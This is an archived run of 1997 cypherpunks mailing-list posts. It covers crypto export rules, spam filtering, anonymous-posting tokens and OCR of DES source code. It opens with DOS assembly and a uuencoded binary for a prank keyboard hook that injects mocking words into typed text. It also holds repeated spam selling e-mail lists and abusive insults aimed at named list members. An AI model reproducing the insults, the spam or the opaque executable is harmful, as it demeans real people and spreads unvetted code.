           db          ' (barf)',0
           db          ' (blech)',0

gett       proc        near
           push        ds
           xor         di,di
           mov         ds,di
           mov         di,ds:[46ch] ;timer
           pop         ds
           ret
gett       endp

i16:       cmp         ah,0
           jz          ah0
           db          0eah ; jmp
o16oa      dw          ?
o16sa      dw          ?
ah0:       push        ds
           push        cs
           pop         ds
           cmp         state,4
           jnz         st4x
           push        di
           mov         di,sdi
           mov         al,ds:[di] ;ah=scancode=funccode=0
           inc         sdi
           cmp         al,0
           jz          st1a ;done stacking
           jmp         i16dix
st4x:      pushf
           db          09ah ; call far
o16ob      dw          ?
o16sb      dw          ?
           cmp         state,0
           jnz         st1
           push        di
           mov         di,offset str1
st0a:      cmp         al,ds:[di]
           jz          st0b
st0c:      inc         di
           cmp         byte ptr ds:[di],0
           jnz         st0c
           inc         di
           cmp         di,offset str2
           jnz         st0a
           jmp         short i16dix
st0b:      inc         di
           mov         sdi,di
           jmp         short i16ist ;state=1
st1:       cmp         state,1
           jnz         st2
           push        di
           mov         di,sdi
           cmp         al,ds:[di]
           jnz         st1a
           inc         di
           cmp         byte ptr ds:[di],0
           jnz         st1b
           inc         state ;2
           call        gett
st1b:      mov         sdi,di
           jmp         short i16dix
st1a:      mov         state,0
           jmp         short i16dix
st2:       cmp         state,2
           jnz         st3
           push        di
           call        gett
           xor         di,sdi
           test        di,0FFC0h ;around 3 seconds
           jz          i16dix
           inc         state ;3
;          jmp         short i16dix
           pop         di          ;fall thru
st3:       cmp         al,'A' ;state=3
           jae         i16x ;waiting for a delimiter
           push        di
           push        ax
           mov         al,byte ptr sdi
           and         al,str2mask
           mov         di,offset str2
st3a:      dec         al
           js          st3b
st3c:      inc         di
           cmp         byte ptr ds:[di],0
           jnz         st3c
           inc         di
           jmp         st3a
st3b:      mov         sdi,di
           pop         ax      ;state=4
i16ist:    inc         state
i16dix:    pop         di
i16x:      pop         ds
           iret
i16end:
minst      db          'Installed.',13,10
minstl     equ         $-minst
malr       db          'Already in memory.',13,10
malrl      equ         $-malr

start:     mov         state,0
           xor         ax,ax
           mov         ds,ax
           mov         ax,word ptr ds:[16h*4]
           cmp         ax,offset i16 ;already resident?
           jz          skp
           mov         cs:o16oa,ax
           mov         cs:o16ob,ax
           mov         ax,word ptr ds:[16h*4+2]
           mov         cs:o16sa,ax
           mov         cs:o16sb,ax
           cli
           mov         word ptr ds:[16h*4],offset i16
           mov         word ptr ds:[16h*4+2],cs
           sti
           mov         dx,offset minst
           mov         cx,minstl
           push        cs
           pop         ds
           mov         bx,2
           mov         ah,40h ;write message to stderr
           int         21h
           mov         dx,offset i16end
           int         27h

skp:       push        cs
           pop         ds
           mov         dx,offset malr
           mov         cx,malrl
           mov         bx,2
           mov         ah,40h ;write message to stderr
           int         21h
           int         20h
cseg       ends
           end         entry

Given that "cypher punks" don't write code, they wouldn't know how
to assemble it either... Here's a COM file:

table
 !"#$%&'()*+,-./0123456789:;<=>?
@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_
begin 666 cpunx.com
MZ!L!1VEL;6]R90!!<F%C:&5L:6%N " H9F%R="D ("AS<&ET*0 @*&)A<F8IM
M " H8FQE8V@I !XS_X[?BSYL!!_#@/P = 7J     !X.'X ^  $$=1)7BSX!M
M 8H%_P8! 3P =%'IDP"<F@    " /@ ! '4>5[\# 3H%= ]'@#T =?I'@?\6M
M 77OZV]'B3X! >MD@#X  0%U(U>+/@$!.@5U$T> /0!U!_X&  'HA_^)/@$!M
MZT7&!@ ! .L^@#X  0)U$U?H;_\S/@$!]\? _W0I_@8  5\\07,A5U"@ 0$DM
M [\6 ?[(> E'@#T =?I'Z_.)/@$!6/X&  %?'\]);G-T86QL960N#0I!;')EM
M861Y(&EN(&UE;6]R>2X-"L8&  $ ,\".V*%8 #U" 70S+J-( 2ZC:@&A6@ NM
MHTH!+J-L ?K'!E@ 0@&,#EH ^[K^ ;D,  X?NP( M$#-(;K^ <TG#A^Z"@*YM
+% "[ @"T0,TAS2  M
 M
end

If your DOS prompt is so screwed up that it doesn't use INT 16,
here's a test program to echo keyboard input (ESC to exit):

begin 666 geti16.com
0,.3-%H#\ 70&M [-$.OQP\PRM
 M
end

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Thu, 2 Jan 1997 23:06:36 -0800 (PST)
To: cypherpunks@toad.com
Subject: [IMPORTANT] One-time pads
Message-ID: <199701030706.AAA03362@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy Maya styles his facial hair to look more like pubic hair.

         _
        >@) Timmy Maya
        (V(_
        ^^\<





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 3 Jan 1997 00:26:16 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Crypto reg clarification from Commerce Department
Message-ID: <1.5.4.32.19970103082558.003de41c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


http://jya.com/bxa123096.txt has the Federal Register text
of the interim export administration rules.  I haven't waded through
all the comparisons of which interim amends what paragraph of what subplot
of the revised prohibitions, etc., but there's one paragraph that 
may be relevant to the SWAN project.
        "This interim rule also amends part 744 to add a general prohibition
        in Sec. 744.9 with respect to technical assistance in the development
        or manufacture abroad of encryption commodities and software controlled
        for EI reasons and makes conforming changes throughout the EAR."

Lucky Green has been talking with Commerce to try to get
clarification of some of the requirements on a related issue;
they say not to worry about some of the paragraphs because they
only apply to missiles, nukes, and similar Real Munitions,
but the paragraph above sounds like it's still talking about crypto.
I'm not sure if "technical assistance" is clearly defined, 
and I'm not sure if hiring some foreigner to build something for _you_
counts as providing technical assistance to _them_, but it makes
it more difficult to do the right thing while debugging non-US systems.

Excerpts from Lucky's post:
>From: Lucky Green <shamrock@netcom.com>
>Subject: Crypto reg clarification from Commerce Department
>Date: Mon, 30 Dec 1996 15:14:56 -0800
>To: cypherpunks@toad.com
>....
>I just got of the phone with Bruce Kutz, Export Policy Analyst, Office of
>Strategic Trade and Foreign Policy Controls. (202) 482-0092. He seems to be
>the contact person for the new regs.
>
>I pointed Mr. Kutz to the section that alarmed me:
>Sec. 736.2  General prohibitions and determination of applicability.
        [stuff you can't do about financing, supporting, proliferation etc.]
>Mr. Kutz seemed surprised. Apparently he had not been aware that this
>section was included in the new crypto regs. He then assured me that
>1. Proliferation in the context of this paragraph applies only to
>proliferation of
>a) nuclear (bomb) technology   b) missile technology
...
>2. The Department of Commerce has no intention of banning the financing and
>contracting of non-US crypto development.
>3. Technical assistance to non-US parties requires a license.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Fri, 3 Jan 1997 00:06:38 -0800 (PST)
To: alan@ctrl-alt-del.com (Alan Olsen)
Subject: Re: Cypherpunk Elitism and Spam Filters
In-Reply-To: <3.0.1.32.19970102222216.0068b54c@mail.teleport.com>
Message-ID: <199701030801.CAA24529@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Alan Olsen wrote:
> 
> I have been watching the debate on Cypherpunk Extremism, filtering spam,
> and the like and have a few comments.
> 
> When Tim May claims that Cypherpunk solutions lead to elitism, he is more
> correct than Vullis or any of his ilk are willing to realize.  The reasons

Alan, everything leads to elitism because it is a natural way of
existence of large masses of different people. The most anti-elitist
societies turned out to be most segmented in the end.

> I have watched the conversations on filtering and have seen few, if any,
> methods that would be usable by a poster of average experience without alot
> of extra frustration and/or time involved.  For a filtering or posting
> method to be useful (or used), it has to be uncumbersome to use, no matter
> the platform.

First of all, do you really want to see these posters?

Second, there are very simple filtering techniques such as
1) eliminating duplicates 2) eliminating any cypherpunks messages
not directly addressed to cypherpunks (prevents mailing list attacks)
and 3) deleting messages originating from certain persons. These methods,
I believe, do not require any kind of high intelligence.

Therefore, the people who leave are either very stupid people who
cannot cope with the higher traffic, or very smart people who do not
see enough of good thoughts.

> 
> Those who are working towards "elitist" solutions are at least working
> towards solutions.  I think people need to ask themselves what goals they
> desire for themselves and what it will take to get there.  You don't need
> to write code necessarily, but you do need to do something other than just
> bitch and moan.

The only two persons who do anything with this list are Gilmore and Vulis.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: staff@optimalmethods.com
Date: Fri, 3 Jan 1997 00:49:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to Reach The Most People
Message-ID: <Ready Aim Fire!_1/3/97 03:48:41_staff@optimalmethods.com>
MIME-Version: 1.0
Content-Type: text/plain



Targeted E-Mail Lists Will Get Your Message Out 

You probably have a special offer to make to many people over the internet.
At  ATS Publishers, Inc., we maintain a database of over 450 groups of e-mail addresses sorted according to the groups' demographic, psychographic, geographic, benefits-sought, and individual description. If you have a book, product, announcement, or service to advertise in a specific area, your greatest response rates will come from targeting these niche lists. You must have these addresses, as you will save money while no longer mailing your sales message to unqualified prospects. We absolutely guarantee your success with these lists.
Here is a small sample:

Opportunity Seekers, General Business, Sports (all), Entrepreneurship, Fitness & Exercise, Accountants, Health, Lawyers & Legal, Nutrition, Single Moms, Fashion, Outdoors, Dresswear, Computers, Math & Sciences (all), Finance, Investing, Fishing, Hunting, Hunting Dogs, Financial Markets, Race Boats, Wealth, Taxes, Languages, Millionaires, Divorced Parents, Gay & Lesbian, Kids, Teenagers, Adults, Seniors, Racial-Ethnic-Cultural (all), Criminal, Pornography, Shopaholics, Alcoholics, Virgins, Politics, Overweight, Paranormal, Psychology, Literature, Technical, Painters & Artists, Doctors & Medicine, Religion & Atheism, Government, Taxation, Food and Beverages, Wines & Spirits, Restaurants, Working Women, Geographical U.S., Sex, Physically Challenged Persons, Drugs, Hippies, Music and Musicians, Firearms, Militias, Students, AIDS, Disorders, Child & Baby Care, Feminists, Body Painting & Piercing, Massage, Activists, Homeowners, Real Estate, Automotive, Health Care, Insurance, Educa!
tion, Infertility, Architects, Dating, Love, Telecommunications, Hardware & Tools, Homes & Gardening, S&M, Housekeeping, Spirits & Wines, Home Business, Star Trekkies, Athletes, Authors, Store Owners, Job Hunters, Photography, Plants, and another 350 groups targeted even further...

If you do not see your group in these listings, don't worry! Even if they are not in our database, we will create one for you within 24 hours. 

Here's how to order:

Write us a brief description of the groups you want to target. We will then ship you, via e-mail, a listing of the 1,000 - 5,000 most targeted prospects for your product. These are people who have PROVEN beyond any doubt that they are interested in the service you are offering. 

Each e-mail listing of 1000 names costs only $12.95. And although $12.95 is our minimum order, you may buy in odd lots also, say, 1,500. 

Each additional name after 1,000 costs only 1/2 of a cent; in this 1,500 name case, you would pay only $15.45! For 2,000 names,you would pay $12.95 plus an extra $5 (1,000 X .5 cents) for a total of $17.95.

All orders are shipped via e-mail the same day, if paid by credit card (Amex/Visa/Mastercard/Diners). Or, mail your check or M.O., in the amount of $12.95 plus any additional charges, along with your groups' description, to:

ATS Publishers, Inc.
3811 Ditmars Blvd. 
Astoria, NY 11105
Tel: (718) 274-9060

If the line is busy, keep trying! We're trying to keep up with the enormous demand, since Thursday the 26th, our first mailing. 

Thank you so much for your time.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@replay.com (Anonymous)
Date: Thu, 2 Jan 1997 19:25:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <199701021834.KAA07300@crypt.hfinney.com>
Message-ID: <199701030325.EAA00372@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Hal Finney writes:

>I think this is an interesting theoretical discussion, although it's
>not clear whether it is actually a good idea to try implementing this.

Yeah, I just floated it as a trial balloon of sorts. It seemed like a way to
"harden" the list somewhat without forcing users to go to full encryption. I
had a few extra brain cells to burn off yesterday.

Your points are entirely correct, though: you have to trust the list admin, and
you have to have some faith in the Majordomo software not to retain your ID
once it generates your token. The usual eavesdropping concerns remain as well.

[snip]

>An alternative similar to what I proposed earlier is for majordomo to
>provide a blinded token, one which it doesn't see.  This would be used
>specifically for anonymous postings.

In your scheme, I presume one would get a blinded token (in an encrypted
message) when subscribing, and postings from non-subscribers would be checked
for a valid token? (Please correct me if I'm wrong. . .)

>                                      It does have the problem that it
>allows linking postings by the same pseudonymous nym - all will have the
>same token.  But maybe we want to encourage that.

Probably not the worst thing in the world.

>(The full proposal I made involved use-once tokens, just like online
>digital cash, so that there would be no linkage and it would allow
>real anonymity.)

Hmm, an interesting tie-in. Maybe one could "buy" tokens to post anonymously?
It'd give new meaning to the phrase "putting your money where your mouth
is." :-)

Thanks for the feedback!
(returning to lurk mode now. . .)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iwlkos@ix.netcom.com
Date: Fri, 3 Jan 1997 01:31:25 -0800 (PST)
To: cypherpunks@toad.com
Subject: How to Reach The Most People
Message-ID: <Ready Aim Fire!_1/3/97 04:31:11_iwlkos@ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Targeted E-Mail Lists Will Get Your Message Out 

You probably have a special offer to make to many people over the internet.
At  ATS Publishers, Inc., we maintain a database of over 450 groups of e-mail addresses sorted according to the groups' demographic, psychographic, geographic, benefits-sought, and individual description. If you have a book, product, announcement, or service to advertise in a specific area, your greatest response rates will come from targeting these niche lists. You must have these addresses, as you will save money while no longer mailing your sales message to unqualified prospects. We absolutely guarantee your success with these lists.
Here is a small sample:

Opportunity Seekers, General Business, Sports (all), Entrepreneurship, Fitness & Exercise, Accountants, Health, Lawyers & Legal, Nutrition, Single Moms, Fashion, Outdoors, Dresswear, Computers, Math & Sciences (all), Finance, Investing, Fishing, Hunting, Hunting Dogs, Financial Markets, Race Boats, Wealth, Taxes, Languages, Millionaires, Divorced Parents, Gay & Lesbian, Kids, Teenagers, Adults, Seniors, Racial-Ethnic-Cultural (all), Criminal, Pornography, Shopaholics, Alcoholics, Virgins, Politics, Overweight, Paranormal, Psychology, Literature, Technical, Painters & Artists, Doctors & Medicine, Religion & Atheism, Government, Taxation, Food and Beverages, Wines & Spirits, Restaurants, Working Women, Geographical U.S., Sex, Physically Challenged Persons, Drugs, Hippies, Music and Musicians, Firearms, Militias, Students, AIDS, Disorders, Child & Baby Care, Feminists, Body Painting & Piercing, Massage, Activists, Homeowners, Real Estate, Automotive, Health Care, Insurance, Educa!
tion, Infertility, Architects, Dating, Love, Telecommunications, Hardware & Tools, Homes & Gardening, S&M, Housekeeping, Spirits & Wines, Home Business, Star Trekkies, Athletes, Authors, Store Owners, Job Hunters, Photography, Plants, and another 350 groups targeted even further...

If you do not see your group in these listings, don't worry! Even if they are not in our database, we will create one for you within 24 hours. 

Here's how to order:

Write us a brief description of the groups you want to target. We will then ship you, via e-mail, a listing of the 1,000 - 5,000 most targeted prospects for your product. These are people who have PROVEN beyond any doubt that they are interested in the service you are offering. 

Each e-mail listing of 1000 names costs only $12.95. And although $12.95 is our minimum order, you may buy in odd lots also, say, 1,500. 

Each additional name after 1,000 costs only 1/2 of a cent; in this 1,500 name case, you would pay only $15.45! For 2,000 names,you would pay $12.95 plus an extra $5 (1,000 X .5 cents) for a total of $17.95.

All orders are shipped via e-mail the same day, if paid by credit card (Amex/Visa/Mastercard/Diners). Or, mail your check or M.O., in the amount of $12.95 plus any additional charges, along with your groups' description, to:

ATS Publishers, Inc.
3811 Ditmars Blvd. 
Astoria, NY 11105
Tel: (718) 274-9060

If the line is busy, keep trying! We're trying to keep up with the enormous demand, since Thursday the 26th, our first mailing. 

Thank you so much for your time.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "=?ISO-8859-1?Q?=B7Acid.Rain=B7?=" <acidrain@scott.net>
Date: Fri, 3 Jan 1997 03:25:45 -0800 (PST)
To: "Dale Thorn" <cypherpunks@toad.com>
Subject: yawn
Message-ID: <199701031125.FAA10624@koala.scott.net>
MIME-Version: 1.0
Content-Type: text/plain


Someone please tell be what i must do to be banned from this list.  I will
refrain from describing the obvious idiocracy here.  


----==······· ·Acid.Rain· ·······==---
http://www.scott.net/~acidrain/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aga <aga@dhp.com>
Date: Fri, 3 Jan 1997 04:08:52 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Stupid Bastard Acid Rain/Re: yawn
In-Reply-To: <199701031125.FAA10624@koala.scott.net>
Message-ID: <Pine.LNX.3.95.970103070446.29988H-100000@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


On Fri, 3 Jan 1997, [ISO-8859-1] ·Acid.Rain· wrote:

> Someone please tell be what i must do to be banned from this list.  I will
> refrain from describing the obvious idiocracy here.  
> 

Just who the fuck is this Acid rain guy, a newbie?

Doesn't this stupid bastard know that he is writing
to two different lists, and not just one?

> 
> ----==······· ·Acid.Rain· ·······==---
> http://www.scott.net/~acidrain/
> 

Dave, how the fuck did this acid rain asshole 
get on the Freedom Knights list?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Fri, 3 Jan 1997 07:40:10 -0800 (PST)
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Cypherpunk Elitism and Spam Filters
In-Reply-To: <3.0.1.32.19970102222216.0068b54c@mail.teleport.com>
Message-ID: <Pine.SUN.3.91.970103072845.16486A-100000@crl7.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Thu, 2 Jan 1997, Alan Olsen wrote:

[Excellent analysis of the "elite vs. masses" dichotomy, elided.]

> Netscape is a good example of "transparent" crypto.  It has problems
> though.  How many sites do you connect to that use SSL?  Damn few I will
> bet.  How many encrypt everything, not just the "important stuff".  Next to
> none.  Why?  Getting a secure server costs a fair chunk of change.  It is
> possible to get one for "non-commercial use", but it is still going to cost
> you a bit for the certificate needed to run the server. ($295 bucks and the
> list of hoop to jump through.  Verisign usually wants you to be a corporate
> entity.)  Any chance of a CPunk CA coming into existence any time soon?

We at C2Net bundle a Thawte certificate with our Stronghold 
secure server for only US$545.  Stronghold is available free for
non-commercial use and a stand-alone Thawte certificate is just
US$100.  A hundred bucks plus home-grown code tweaking is a low 
hurdle to entry for non-commercial users.  For commercial users, 
of course, the cost of a secure server and certificate is self-
liquidating.


 S a n d y

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 3 Jan 1997 05:20:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: E-commerce Spying
Message-ID: <1.5.4.32.19970103131627.0069ab7c@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


MSNBC today features E-commerce:

   http://www.msnbc.com/news/46897.asp

With sidebars on how E-payment systems require
money-tracking spies. In the cause of consumer
security, at the cost of privacy.

Kalliste reported yesterday on the White House's 
spying on global bank transactions:

   http://www.aci.net/kalliste/

In the cause of national security, at the cost of privacy.

Defense into commerce, GAK privatized.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Richard L. Field" <field@pipeline.com>
Date: Fri, 3 Jan 1997 05:20:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Crypto reg clarification from Commerce Department
Message-ID: <1.5.4.16.19970103082253.090fce0e@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


  To follow up on Lucky Green's conversation with Bruce Kutz on Sec. 736.2:


  The General Prohibitions (1 - 10) in the EAR preexisted these new crypto
regs.  What was changed in General Prohibition Seven (which previously
applied only to nuke and missile technologies) was the addition of a subpart
(ii):  "You may not, without a license from BXA, provide certain technical
assistance to foreign persons with respect to encryption items, as described
in Sec 744.9 of the EAR."

   Sec. 744.9 is a new addition.  It says:

   "(a)  General prohibition.  No U.S. person may, without a license from
BXA, provide technical assistance (including training) to foreign persons
with the intent to aid a foreign person in the development or manufacture
outside the United States of encryption commodities and software that, if of
United States origin, would be controlled for "EI" reasons under ECCN 5A002
or 5D002. [...] Note in addition that the mere teaching or discussion of
information about cryptography, including, for example, in an academic
setting, by itself would not establish the intent described in this section,
even where foreign persons are present." [...]

   When it comes to financing and contracting, it's General Prohibition Ten
you ought to be looking at.  That hasn't changed under the new rules and it
doesn't just apply to nukes and missiles.  It says:

   "Sec. 736.2(b)(10) General Prohibition Ten -- Proceeding with
transactions with knowledge that a violation has occurred or is about to
occur (Knowledge Violation to Occur).  You may not sell, transfer, export,
reexport, finance, order, buy, remove, conceal, store, use, loan, dispose
of, transfer, transport, forward, or otherwise service, in whole or in part,
any item subject to the EAR and exported or to be exported with knowledge
that a violation of the Export Administration Regulations, the Export
Administration Act or any order, license, License Exception, or other
authorization issued thereunder has occurred, is about to occur, or is
intended to occur in connection with the item.  Nor may you rely upon any
license or License Exception after notice to you of the suspension or
revocation of that license or exception.  There are no License Exceptions to
this General Prohibition Ten in part 740 of the EAR."


  Furthermore, in the Violations section (Sec. 764.2) it says:

   "(b) Causing, aiding, or abetting a violation.  No person may cause or
aid, abet, counsel, command, induce, procure, or permit the doing of any act
prohibited, or the omission of any act required, by the EAA, the EAR, or any
order, license or authorization issued thereunder."

   "(e) Acting with knowledge of a violation.  No person may order, buy,
remove, conceal, store, use, sell, loan, dispose of, transfer, finance,
forward, or otherwise service, in whole or in part, any item exported or to
be exported from the United States, or that is otherwise subject to the EAR,
with knowledge that a violation of the EAA, the EAR, or any order, license
or authorization issued thereunder, has occurred, is about to occur, or is
intended to occur in connection with the item."

   In the past, some banks worried about this when financing letters of
credit.  I'm told they were assured back then that this sort of financing
was not going to be prosecuted....but it's still in the regs so I wouldn't
bet the ranch on it never happening.

   - Richard Field





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 3 Jan 1997 06:29:54 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Hardening lists against spam attacks
In-Reply-To: <199701030325.EAA00372@basement.replay.com>
Message-ID: <N7JyZD25w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@replay.com (Anonymous) writes:
>
> Your points are entirely correct, though: you have to trust the list admin, a
> you have to have some faith in the Majordomo software not to retain your ID
> once it generates your token. The usual eavesdropping concerns remain as well
>

Trusting the lying cocksucker John Gilmore is very foolish.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 3 Jan 1997 06:30:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunk Elitism and Spam Filters
In-Reply-To: <199701030801.CAA24529@manifold.algebra.com>
Message-ID: <gkkyZD28w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com (Igor Chudov @ home) writes:
> and 3) deleting messages originating from certain persons. These methods,
> I believe, do not require any kind of high intelligence.

They do require total lack of ethics. Indeed, cocksucker John Gilmore has
no credibility because of his content-based censorship and plug-pulling.

> The only two persons who do anything with this list are Gilmore and Vulis.

I'm not doing anything with your stupid list. I'm not even on it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: zvi <zvi@creditnet.com>
Date: Fri, 3 Jan 1997 07:01:22 -0800 (PST)
To: newed@netstorage.com
Subject: The Credit Nard Network
Message-ID: <3.0.1.32.19970103084757.00690324@creditnet.com>
MIME-Version: 1.0
Content-Type: text/plain


Hello:

I wanted to folow up on your interest in Credit Card Network which you
inquired about recently.

My Name is Zvi Lichter, and I am the Internet Sales Manager for Credit Card
Network.
I have been representing Credit Card Network for over 6 months and I can
help you to get the information you need to make your decision to sign up
for our service.

We are the solution you have been looking for.  We authorize credit card
transactions in realtime in less than 45 seconds. By linking your order form 
to our secure system we can provide you with approval/denial response in
just a few seconds. We have over 240 active merchants and we are processing
in excess of 20,000 transaction a day.

More details can be found at :
http://www.creditnet.com/cgi-bin/htmlscript?zvika.hts
come visit and look up all the links.

Prices: 1% on the transaction,  one time set up fee of $395.  No minimums or
monthly service fees.
=======================
SECURE ONLINE CREDIT CARD AUTHORIZATION

The Credit Card Network offers secure, online credit card authorizations to
internet businesses who are interested in actually making money on the
internet.  The service allows businesses to accept credit card payment on
the internet in real time...meaning that the transaction is actually taking
place while the consumer is online.  This is how it looks from a consumers
point of view...

1. The consumer fills out the order form on your website and gets a total
price.  

2. Upon clicking the consumer is then hot-linked into our secure server and
our secure page comes up on his screen.  The consumer then enters his credit
card number and clicks on submit to charge the card.  The information
including total price, credit card number, name, and address is then
electronically sent to the card processor at the bank. The consumer waits
10-15 seconds while the card is verified.

3.  The consumer is then sent back to your website to the page where you
want us to send him.  It's that simple.

1.your order form ---> 2. our secure page ---> 3. back to your website

We also support transparent processing.  In this mode the customer stays on
your order form and the credit card information is sent to Credit Card
Network using sockets and PGP encryption. The result is returned in seconds.
Then you can send the customer anywhere you choose and have full control
over the memory variables. We have a module that automatically updates your
password files with userids, passwords and expiration dates. We provide you
with an expire routine that runs every 30 seconds. We also have scripts for
one-time software downloads. 

Credit Card Network has been in business for 2 years.  We have more
merchants than Cybercash and we are easy to work with and pride ourselves on
our customer service.

If you are ready to make money on the Internet then Credit Card Network is
the solution you need to be successful.


The credit card network
zvi@creditnet.com
1-206-287-1794  voice
1-206-933-1141 fax





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Fri, 3 Jan 1997 09:06:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: OCR and Machine Readable Text
Message-ID: <199701031704.JAA08887@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Before you get too carried away by the capabilities of off the shelf
character recognition, read Phil Karn's experience trying to produce
a working DES program from the pages of Applied Cryptography.  It was
easier than writing it himself, but it was still far from a turnkey
operation.  This is from <URL:
http://www.qualcomm.com/people/pkarn/export/karndecl.html >


> 5. I began by first photocopying, on a standard office photocopier, the
> 18 pages containing the Triple DES source code listing from Part V of
> the Book. This took about 5 minutes. Second, I scanned in the 18 sheets
> on a Macintosh Quadra 610 computer system equipped with an HP ScanJet II
> flatbed scanner and Omnipage Professional optical character recognition
> (OCR) software. The computer, scanner, and software are all readily
> available through normal consumer computer supply channels. The total
> scanning process took about one and a half hours. About an hour of this
> time was spent learning to use the scanning system and conducting trial
> runs, as I had only used it briefly some time ago. The actual scan of the
> 18 pages took about 15-20 minutes. Third, I transferred the resulting
> machine-readable file from the Macintosh to my own personal computer
> and brought it up under GNU EMACS, a popular and widely available text
> editing program that I have used for many years. In EMACS I compared,
> by eye, the scanned file displayed on my screen against the printed
> listing in the Book. I began correcting the scanner's many errors, such
> as mistaking the digit '0' for the letter 'O' or mistaking the vertical
> bar '|' for the letter 'I'.
> 
> 6. After manually correcting those errors noticed through visual
> comparison with the Book, I invoked the "C" language compiler on the
> (partially) corrected file. The compiler immediately pointed out
> additional errors I had overlooked in my visual inspection so I could
> also correct them by reference to the Book. I also noticed several errors
> in the listing printed in the Book. However, the programmer's intentions
> were obvious from the context of each error and were easily fixed. About
> fifty minutes later, I successfully compiled the file without error.
> 
> 7. The fourth step was to write a small test program to execute
> the DES code with the test vectors given at the end of the source
> code listing. This trivial program took less than 5 minutes to
> write. Unfortunately, the test did not succeed, meaning that at
> least one error went undetected by the compiler in either the code as
> printed in the Book or as scanned. Scrutinizing the code more closely,
> I quickly found another error in the printed version that was easily
> corrected. However, it still did not produce correct results. After about
> an hour of searching, I finally located the error in a list of numbers
> in a table -- another error in the printed version. By reference to the
> DES algorithm description in the first part of the Book, which includes
> the correct numbers in tabular form, I found and corrected the error.
> 
> 8. At this point the test finally succeeded, so I knew I had a correct
> program. However, to increase my confidence further I tried a few
> other DES test vectors that were not included in the source code, but
> were openly published by the US National Institute of Standards and
> Technology (NIST). All passed. At this point it was beyond doubt that I
> had a correct, working copy of the DES source code identical to that on
> the Disk with all errors removed, including those printed in the Book
> as well as those added by the scanning process.
> 
> 9. Finally, in about 40 minutes I wrote and debugged a "driver" program
> analogous to that included in the Crowell declaration. This driver program
> takes a sample plaintext file, encrypts it, displays the encrypted file
> in hexadecimal and then decrypts it.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Fri, 3 Jan 1997 09:34:41 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: Internal Passports
In-Reply-To: <v0300780caeefb53f8b00@[199.182.128.36]>
Message-ID: <v03007800aef2f057bb42@[204.31.236.169]>
MIME-Version: 1.0
Content-Type: text/plain


At 7:32 PM -0800 1/2/97, Timothy C. May wrote:
>At 10:35 PM -0800 12/31/96, Bill Frantz wrote:
>>At 11:02 AM -0800 12/31/96, Timothy C. May wrote:
>>>There have been several reports cited here recently about changes in the SS
